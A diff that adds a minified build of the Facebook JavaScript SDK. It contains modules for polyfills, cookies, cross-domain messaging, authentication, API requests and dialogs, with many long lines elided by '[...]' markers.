@@ -0,0 +1,153 @@
+/*1359095289,182009131,JIT Construction: v719720,en_US*/
+
+/**
+ * Copyright Facebook Inc.
+ *
+ * Licensed under the Apache License, Version 2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+try {window.FB || (function(window) {
+var self = window, document = window.document;
+var setTimeout = window.setTimeout, setInterval = window.setInterval;var __DEV__ = 0;
+function emptyFunction() {};
+
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+
+__d("sdk.RuntimeConfig",[],{"locale":"en_US","rtl":false});__d("UrlMapConfig",[],{"www":"www.facebook.com","m":"m.facebook.com","connect":"connect.facebook.net","api_https":"api.facebook.com","api_read_https":"api-read.facebook.com","graph_https":"graph.facebook.com","fbcdn_http":"static.ak.fbcdn.net","fbcdn_https":"fbstatic-a.akamaihd.net","cdn_http":"static.ak.facebook.com","cdn_https":"s-static.ak.facebook.com"});__d("XDConfig",[],{"XdUrl":"connect\/xd_arbiter.php?version=18","Flash": [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("ManagedError",[],function(a,b,c,d,e,f){function g(h,i){Error.prototype.constructor.call(this,h);this.message=h;this.innerError=i;}g.prototype=new Error();g.prototype.constructor=g;e.exports=g;});
+__d("AssertionError",["ManagedError"],function(a,b,c,d,e,f){var g=b('ManagedError');function h(i){g.prototype.constructor.apply(this,arguments);}h.prototype=new g();h.prototype.constructor=h;e.exports=h;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("Assert",["AssertionError","sprintf"],function(a,b,c,d,e,f){var g=b('AssertionError'),h=b('sprintf');function i(n,o){if(!n)throw new g(o);return n;}function j(n,o,p){var q;if(o===undefined){q='undefined';}else if(o===null){q='null';}else{var r=Object.prototype.toString.call(o);q=/\s(\w*)/.exec(r)[1].toLowerCase();}i(ES5(n,'indexOf',true,q)!==-1,p||h('Expression is of type %s, not %s',q,n));return o;}function k(n,o,p){i(o instanceof n,p||'Expression not instance of type');return o;}fu [...]
+__d("Type",["copyProperties","Assert"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Assert');function i(){var m=this.__mixins;if(m)for(var n=0;n<m.length;n++)m[n].apply(this,arguments);}function j(m,n){if(n instanceof m)return true;if(n instanceof i)for(var o=0;o<n.__mixins.length;o++)if(n.__mixins[o]==m)return true;return false;}function k(m,n){var o=m.prototype;if(!ES5('Array','isArray',false,n))n=[n];for(var p=0;p<n.length;p++){var q=n[p];if(typeof q=='function'){o.__mixins.pu [...]
+__d("ObservableMixin",[],function(a,b,c,d,e,f){function g(){this.__observableEvents={};}g.prototype={inform:function(h){var i=Array.prototype.slice.call(arguments,1),j=Array.prototype.slice.call(this.getSubscribers(h));for(var k=0;k<j.length;k++){if(j[k]===null)continue;try{j[k].apply(this,i);}catch(l){setTimeout(function(){throw l;},0);}}return this;},getSubscribers:function(h){return this.__observableEvents[h]||(this.__observableEvents[h]=[]);},clearSubscribers:function(h){if(h)this.__ [...]
+__d("sdk.Model",["Type","ObservableMixin"],function(a,b,c,d,e,f){var g=b('Type'),h=b('ObservableMixin'),i=g.extend({constructor:function(j){this.parent();var k={},l=this;ES5(ES5('Object','keys',false,j),'forEach',true,function(m){k[m]=j[m];l['set'+m]=function(n){if(n===k[m])return this;k[m]=n;l.inform(m+'.change',n);return l;};l['get'+m]=function(){return k[m];};});}},h);e.exports=i;});
+__d("sdk.Runtime",["sdk.Model","copyProperties","sdk.RuntimeConfig"],function(a,b,c,d,e,f){var g=b('sdk.Model'),h=c('sdk.RuntimeConfig'),i=b('copyProperties'),j={UNKNOWN:0,PAGETAB:1,CANVAS:2,PLATFORM:4},k=new g({AccessToken:'',ClientID:'',Environment:j.UNKNOWN,Initialized:false,Locale:h.locale,LoginStatus:undefined,Rtl:h.rtl,Scope:undefined,Secure:undefined,UseCookie:false,UserID:''});i(k,{ENVIRONMENTS:j,isEnvironment:function(l){var m=this.getEnvironment();return (l|m)===m;}});(function [...]
+__d("sdk.Cookie",["QueryString","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('QueryString'),h=b('sdk.Runtime'),i=null;function j(m,n,o){m=m+h.getClientID();var p=i&&i!=='.';if(p){document.cookie=m+'=; expires=Wed, 04 Feb 2004 08:00:00 GMT;';document.cookie=m+'=; expires=Wed, 04 Feb 2004 08:00:00 GMT;'+'domain='+location.hostname+';';}var q=new Date(o).toGMTString();document.cookie=m+'='+n+(n&&o===0?'':'; expires='+q)+'; path=/'+(p?'; domain='+i:'');}function k(m){m=m+h.getClientID();var [...]
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("hasNamePropertyBug",["guid"],function(a,b,c,d,e,f){var g=b('guid'),h;function i(){var k=document.createElement("form"),l=k.appendChild(document.createElement("input"));l.name=g();h=l!==k.elements[l.name];k=l=null;return h;}function j(){return typeof h==='undefined'?i():h;}e.exports=j;});
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("sdk.createIframe",["copyProperties","guid","hasNamePropertyBug","DOMEventListener"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('guid'),i=b('hasNamePropertyBug'),j=b('DOMEventListener');function k(l){l=g({},l);var m,n=l.name||h(),o=l.root,p=l.style||{border:'none'},q=l.url,r=l.onload;if(i()){m=document.createElement('<iframe name="'+n+'"/>');}else{m=document.createElement("iframe");m.name=n;}delete l.style;delete l.name;delete l.url;delete l.root;delete l.onload;var s=g({fra [...]
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("sdk.getContextType",["UserAgent","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=b('sdk.Runtime');function i(){if(g.nativeApp())return 3;if(g.mobile())return 2;if(h.isEnvironment(h.ENVIRONMENTS.CANVAS))return 5;return 1;}e.exports=i;});
+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("Base64",[],function(a,b,c,d,e,f){var g='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';function h(l){l=(l.charCodeAt(0)<<16)|(l.charCodeAt(1)<<8)|l.charCodeAt(2);return String.fromCharCode(g.charCodeAt(l>>>18),g.charCodeAt((l>>>12)&63),g.charCodeAt((l>>>6)&63),g.charCodeAt(l&63));}var i='>___?456789:;<=_______'+'\0\1\2\3\4\5\6\7\b\t\n\13\f\r\16\17\20\21\22\23\24\25\26\27\30\31'+'______\32\33\34\35\36\37 !"#$%&\'()*+,-./0123';function j(l){l=(i.charCodeAt(l.charCod [...]
+__d("sdk.SignedRequest",["Base64"],function(a,b,c,d,e,f){var g=b('Base64');function h(j){if(!j)return null;var k=j.split('.',2)[1].replace(/\-/g,'+').replace(/\_/g,'/');return g.decodeObject(k);}var i={parse:h};e.exports=i;});
+__d("UrlMap",["UrlMapConfig"],function(a,b,c,d,e,f){var g=b('UrlMapConfig'),h={resolve:function(i,j){var k=typeof j=='undefined'?location.protocol.replace(':',''):j?'https':'http';if(i in g)return k+'://'+g[i];if(typeof j=='undefined'&&i+'_'+k in g)return k+'://'+g[i+'_'+k];if(j!==true&&i+'_http' in g)return 'http://'+g[i+'_http'];if(j!==false&&i+'_https' in g)return 'https://'+g[i+'_https'];}};e.exports=h;});
+__d("URL",["Assert","copyProperties","QueryString","Log"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('QueryString'),j=b('Log'),k=new RegExp('('+'(((\\w+):)?//)'+'(.*?@)?'+'([^~/?#:]+)'+'(:(\\d+))?'+')?'+'([^\\?$#]+)?'+'(\\?([^$#]+))?'+'(#([^$]+))?'),l=/[\0\\]/,m=/[^\w\-\.,;\/?:@=&%#$~+!*'\[\]()]+/g,n=/^[a-z0-9.][a-z0-9\-\.]+[a-z0-9.]$/,o=/\.facebook\.com$/;function p(q){g.isString(q,'The passed argument was of invalid type.');if(l.test(q))throw new URIError('The pa [...]
+__d("sdk.domReady",[],function(a,b,c,d,e,f){var g,h="readyState" in document?/loaded|complete/.test(document.readyState):!!document.body;function i(){if(!g)return;var l;while(l=g.shift())l();g=null;}function j(l){if(g){g.push(l);return;}else l();}if(!h){g=[];if(document.addEventListener){document.addEventListener('DOMContentLoaded',i,false);window.addEventListener('load',i,false);}else if(document.attachEvent){document.attachEvent('onreadystatechange',i);window.attachEvent('onload',i);}i [...]
+__d("sdk.Content",["sdk.domReady","Log","UserAgent"],function(a,b,c,d,e,f){var g=b('sdk.domReady'),h=b('Log'),i=b('UserAgent'),j,k,l={append:function(m,n){if(!n)if(!j){j=n=document.getElementById('fb-root');if(!n){h.warn('The "fb-root" div has not been created, auto-creating');j=n=document.createElement('div');n.id='fb-root';if(i.ie()||!document.body){g(function(){document.body.appendChild(n);});}else document.body.appendChild(n);}n.className+=' fb_reset';}else n=j;if(typeof m=='string') [...]
+__d("sdk.Event",[],function(a,b,c,d,e,f){var g={subscribers:function(){if(!this._subscribersMap)this._subscribersMap={};return this._subscribersMap;},subscribe:function(h,i){var j=this.subscribers();if(!j[h]){j[h]=[i];}else j[h].push(i);},unsubscribe:function(h,i){var j=this.subscribers()[h];if(j)ES5(j,'forEach',true,function(k,l){if(k==i)j[l]=null;});},monitor:function(h,i){if(!i()){var j=this,k=function(){if(i.apply(i,arguments))j.unsubscribe(h,k);};this.subscribe(h,k);}},clear:functio [...]
+__d("Queue",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties'),h={};function i(j){this._opts=g({interval:0,processor:null},j);this._queue=[];this._stopped=true;}g(i.prototype,{_dispatch:function(j){if(this._stopped||this._queue.length===0)return;if(!this._opts.processor){this._stopped=true;throw new Error('No processor available');}if(this._opts.interval){this._opts.processor.call(this,this._queue.shift());this._timeout=setTimeout(ES5(this._dispatch,'bind',true,this),this [...]
+__d("resolveURI",[],function(a,b,c,d,e,f){function g(h){if(!h)return window.location.href;h=h.replace(/&/g,'&').replace(/"/g,'"');var i=document.createElement('div');i.innerHTML='<a href="'+h+'"></a>';return i.firstChild.href;}e.exports=g;});
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("JSONRPC",["copyProperties","Log"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Log');function i(j){this._counter=0;this._callbacks={};this.remote={};this.local={};this._write=j;}g(i.prototype,{stub:function(j){this.remote[j]=ES5(function(){var k=Array.prototype.slice.call(arguments),l={jsonrpc:'2.0',method:j};if(typeof k[k.length-1]=='function'){l.id=++this._counter;this._callbacks[l.id]=k.pop();}l.params=k;this._write(ES5('JSON','stringify',false,l),{method:j});},'bind',tru [...]
+__d("sdk.RPC",["Assert","JSONRPC","Queue"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('JSONRPC'),i=b('Queue'),j=new i(),k=new h(function(m){j.enqueue(m);}),l={local:k.local,remote:k.remote,stub:ES5(k.stub,'bind',true,k),setInQueue:function(m){g.isInstanceOf(i,m);m.start(function(n){k.read(n);});},getOutQueue:function(){return j;}};e.exports=l;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("XDM",["DOMEventListener","DOMWrapper","emptyFunction","Flash","guid","Log","UserAgent","wrapFunction"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('emptyFunction'),j=b('Flash'),k=b('guid'),l=b('Log'),m=b('UserAgent'),n=b('wrapFunction'),o={},p={transports:[]},q=h.getWindow();function r(t){var u={},v=t.length,w=p.transports;while(v--)u[t[v]]=1;v=w.length;while(v--){var x=w[v],y=o[x];if(!u[x]&&y.isAvailable())return x;}}var s={register:function(t,u){l.debug [...]
+__d("sdk.XD",["sdk.Content","sdk.createIframe","sdk.Event","guid","Log","QueryString","Queue","resolveURI","resolveWindow","sdk.RPC","sdk.Runtime","UrlMap","URL","wrapFunction","XDM","XDConfig"],function(a,b,c,d,e,f){var g=b('sdk.Content'),h=b('sdk.createIframe'),i=b('sdk.Event'),j=b('guid'),k=b('Log'),l=b('QueryString'),m=b('Queue'),n=b('resolveURI'),o=b('resolveWindow'),p=b('sdk.RPC'),q=b('sdk.Runtime'),r=b('UrlMap'),s=b('URL'),t=b('wrapFunction'),u=c('XDConfig'),v=b('XDM'),w=new m(),x [...]
+__d("sdk.Auth",["sdk.Cookie","copyProperties","sdk.createIframe","DOMWrapper","sdk.getContextType","guid","Log","ObservableMixin","QueryString","sdk.Runtime","sdk.SignedRequest","UrlMap","URL","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Cookie'),h=b('copyProperties'),i=b('sdk.createIframe'),j=b('DOMWrapper'),k=b('sdk.getContextType'),l=b('guid'),m=b('Log'),n=b('ObservableMixin'),o=b('QueryString'),p=b('sdk.Runtime'),q=b('sdk.SignedRequest'),r=b('UrlMap'),s=b('URL'),t=b('sdk.XD'),u,v,w=n [...]
+__d("dotAccess",[],function(a,b,c,d,e,f){function g(h,i,j){var k=i.split('.');do{var l=k.shift();h=h[l]||j&&(h[l]={});}while(k.length&&h);return h;}e.exports=g;});
+__d("hasArrayNature",[],function(a,b,c,d,e,f){function g(h){return (!!h&&(typeof h=='object'||typeof h=='function')&&('length' in h)&&!('setInterval' in h)&&(Object.prototype.toString.call(h)==="[object Array]"||('callee' in h)||('item' in h)));}e.exports=g;});
+__d("createArrayFrom",["hasArrayNature"],function(a,b,c,d,e,f){var g=b('hasArrayNature');function h(i){if(!g(i))return [i];if(i.item){var j=i.length,k=new Array(j);while(j--)k[j]=i[j];return k;}return Array.prototype.slice.call(i);}e.exports=h;});
+__d("sdk.DOM",["Assert","createArrayFrom","sdk.domReady","UserAgent"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('createArrayFrom'),i=b('sdk.domReady'),j=b('UserAgent'),k={};function l(z,aa){var ba=(z.getAttribute(aa)||z.getAttribute(aa.replace(/_/g,'-'))||z.getAttribute(aa.replace(/-/g,'_'))||z.getAttribute(aa.replace(/-/g,''))||z.getAttribute(aa.replace(/_/g,''))||z.getAttribute('data-'+aa)||z.getAttribute('data-'+aa.replace(/_/g,'-'))||z.getAttribute('data-'+aa.replace(/-/g,'_'))||z. [...]
+__d("sdk.Scribe",["UrlMap","QueryString"],function(a,b,c,d,e,f){var g=b('UrlMap'),h=b('QueryString');function i(k,l){(new Image()).src=h.appendToUrl(g.resolve('www',true)+'/common/scribe_endpoint.php',{c:k,m:ES5('JSON','stringify',false,l)});}var j={log:i};e.exports=j;});
+__d("sdk.ErrorHandling",["UserAgent","sdk.Scribe","sdk.Runtime","wrapFunction","ManagedError","SDKConfig"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=b('sdk.Scribe'),i=c('SDKConfig'),j=b('sdk.Runtime'),k=b('wrapFunction'),l=b('ManagedError'),m=false,n='';function o(v){var w=v._originalError;delete v._originalError;h.log('jssdk_error',{appId:j.getClientID(),error:v.name||v.message,extra:v});throw w;}function p(v){var w={line:v.lineNumber||v.line,message:v.message,name:v.name,script:v.fi [...]
+__d("GlobalCallback",["wrapFunction","dotAccess"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h=b('dotAccess'),i,j,k=0,l={setPrefix:function(m){i=h(window,m,true);j=m;},create:function(m){if(!i)this.setPrefix('window.__globalCallbacks');var n='__gcb'+(++k);i[n]=g(m,'entry','GlobalCallback');return j+'.'+n;},remove:function(m){var n=m.substring(j.length+1);delete i[n];}};e.exports=l;});
+__d("sdk.Impressions",["guid","QueryString","sdk.Runtime","UrlMap"],function(a,b,c,d,e,f){var g=b('guid'),h=b('QueryString'),i=b('sdk.Runtime'),j=b('UrlMap');function k(m){var n=i.getClientID();if(!m.api_key&&n)m.api_key=n;var o=new Image();o.src=h.appendToUrl(j.resolve('www',true)+'/impression.php/'+g()+'/',m);}var l={log:function(m,n){if(!n.source)n.source='jssdk';k({lid:m,payload:ES5('JSON','stringify',false,n)});},impression:k};e.exports=l;});
+__d("sdk.Insights",["sdk.Impressions"],function(a,b,c,d,e,f){var g=b('sdk.Impressions'),h={TYPE:{NOTICE:'notice',WARNING:'warn',ERROR:'error'},CATEGORY:{DEPRECATED:'deprecated',APIERROR:'apierror'},log:function(i,j,k){var l={source:'jssdk',type:i,category:j,payload:k};g.log(113,l);},impression:g.impression};e.exports=h;});
+__d("FB",["sdk.Auth","copyProperties","dotAccess","sdk.domReady","sdk.DOM","sdk.ErrorHandling","sdk.Content","DOMWrapper","GlobalCallback","sdk.Insights","Log","sdk.Runtime","sdk.Scribe","CssConfig","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('copyProperties'),i=c('CssConfig'),j=b('dotAccess'),k=b('sdk.domReady'),l=b('sdk.DOM'),m=b('sdk.ErrorHandling'),n=b('sdk.Content'),o=b('DOMWrapper'),p=b('GlobalCallback'),q=b('sdk.Insights'),r=b('Log'),s=b('sdk.Runtime'),t=b('sdk.Scri [...]
+__d("flattenObject",[],function(a,b,c,d,e,f){function g(h){var i={};for(var j in h)if(h.hasOwnProperty(j)){var k=h[j];if(null===k||undefined===k){continue;}else if(typeof k=='string'){i[j]=k;}else i[j]=ES5('JSON','stringify',false,k);}return i;}e.exports=g;});
+__d("CORSRequest",["wrapFunction","QueryString"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h=b('QueryString');function i(l,m){if(!self.XMLHttpRequest)return null;var n=new XMLHttpRequest(),o=function(){};if('withCredentials' in n){n.open(l,m,true);n.setRequestHeader('Content-type','application/x-www-form-urlencoded');}else if(self.XDomainRequest){n=new XDomainRequest();try{n.open(l,m);n.onprogress=n.ontimeout=o;}catch(p){return null;}}else return null;var q={send:function(t){n.send(t [...]
+__d("FlashRequest",["DOMWrapper","Flash","GlobalCallback","QueryString","Queue"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('Flash'),i=b('GlobalCallback'),j=b('QueryString'),k=b('Queue'),l,m={},n,o;function p(){if(!n)throw new Error('swfUrl has not been set');var s=i.create(function(){l.start(function(u){var v=o.execute(u.method,u.url,u.body);if(!v)throw new Error('Could create request');m[v]=u.callback;});}),t=i.create(function(u,v,w){var x;try{x=ES5('JSON','parse',false,decodeURIC [...]
+__d("JSONPRequest",["DOMWrapper","GlobalCallback","QueryString"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('GlobalCallback'),i=b('QueryString');function j(l,m,n,o){var p=document.createElement('script'),q=function(s){q=function(){};h.remove(n.callback);o(s);p.parentNode.removeChild(p);};n.callback=h.create(q);if(!n.method)n.method=m;l=i.appendToUrl(l,n);if(l.length>2000){h.remove(n.callback);return false;}p.onerror=function(){q({error:{type:'http',message:'unknown error'}});};var r [...]
+__d("ArgumentError",["ManagedError"],function(a,b,c,d,e,f){var g=b('ManagedError');function h(i,j){g.prototype.constructor.apply(this,arguments);}h.prototype=new g();h.prototype.constructor=h;e.exports=h;});
+__d("ApiClient",["copyProperties","flattenObject","sprintf","CORSRequest","FlashRequest","JSONPRequest","Log","UrlMap","URL","ArgumentError","Assert","ApiClientConfig"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('flattenObject'),i=b('sprintf'),j=b('CORSRequest'),k=b('FlashRequest'),l=b('JSONPRequest'),m=b('Log'),n=b('UrlMap'),o=b('URL'),p=b('ArgumentError'),q=b('Assert'),r=b('ApiClientConfig'),s,t,u,v,w={get:true,post:true,'delete':true,put:true},x={fql_query:true,fql_multiquery [...]
+__d("sdk.api",["ApiClient","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('ApiClient'),h=b('sdk.Runtime'),i;h.subscribe('ClientID.change',function(k){g.setClientID(k);});h.subscribe('AccessToken.change',function(k){i=k;g.setAccessToken(k);});g.setDefaultParams({sdk:'joey'});g.setInvalidAccessTokenHandler(function(){if(i===h.getAccessToken())h.setAccessToken(null);});function j(){if(typeof arguments[0]==='string'){g.graph.apply(g,arguments);}else g.rest.apply(g,arguments);}e.exports=j;});
+__d("legacy:fb.api",["FB","sdk.api"],function(a,b,c,d){var e=b('FB'),f=b('sdk.api');e.provide('',{api:f});},3);
+__d("sdk.Canvas.Environment",["sdk.RPC"],function(a,b,c,d,e,f){var g=b('sdk.RPC');function h(k){g.remote.getPageInfo(function(l){k(l.result);});}function i(k,l){g.remote.scrollTo({x:k||0,y:l||0});}g.stub('getPageInfo');g.stub('scrollTo');var j={getPageInfo:h,scrollTo:i};e.exports=j;});
+__d("sdk.Intl",["Log"],function(a,b,c,d,e,f){var g=b('Log'),h=('['+'.!?'+'\u3002'+'\uFF01'+'\uFF1F'+'\u0964'+'\u2026'+'\u0EAF'+'\u1801'+'\u0E2F'+'\uFF0E'+']');function i(l){if(typeof l!='string')return false;return !!l.match(new RegExp(h+'['+')"'+"'"+'\u00BB'+'\u0F3B'+'\u0F3D'+'\u2019'+'\u201D'+'\u203A'+'\u3009'+'\u300B'+'\u300D'+'\u300F'+'\u3011'+'\u3015'+'\u3017'+'\u3019'+'\u301B'+'\u301E'+'\u301F'+'\uFD3F'+'\uFF07'+'\uFF09'+'\uFF3D'+'\\s'+']*$'));}function j(l,m){if(m!==undefined)if(t [...]
+__d("sdk.Dialog",["sdk.Canvas.Environment","sdk.Content","sdk.DOM","DOMEventListener","sdk.Intl","ObservableMixin","sdk.Runtime","Type","UserAgent"],function(a,b,c,d,e,f){var g=b('sdk.Canvas.Environment'),h=b('sdk.Content'),i=b('sdk.DOM'),j=b('DOMEventListener'),k=b('sdk.Intl'),l=b('ObservableMixin'),m=b('sdk.Runtime'),n=b('Type'),o=b('UserAgent'),p=n.extend({constructor:function(r,s){this.parent();this.id=r;this.display=s;if(!q._dialogs){q._dialogs={};q._addOrientationHandler();}q._dial [...]
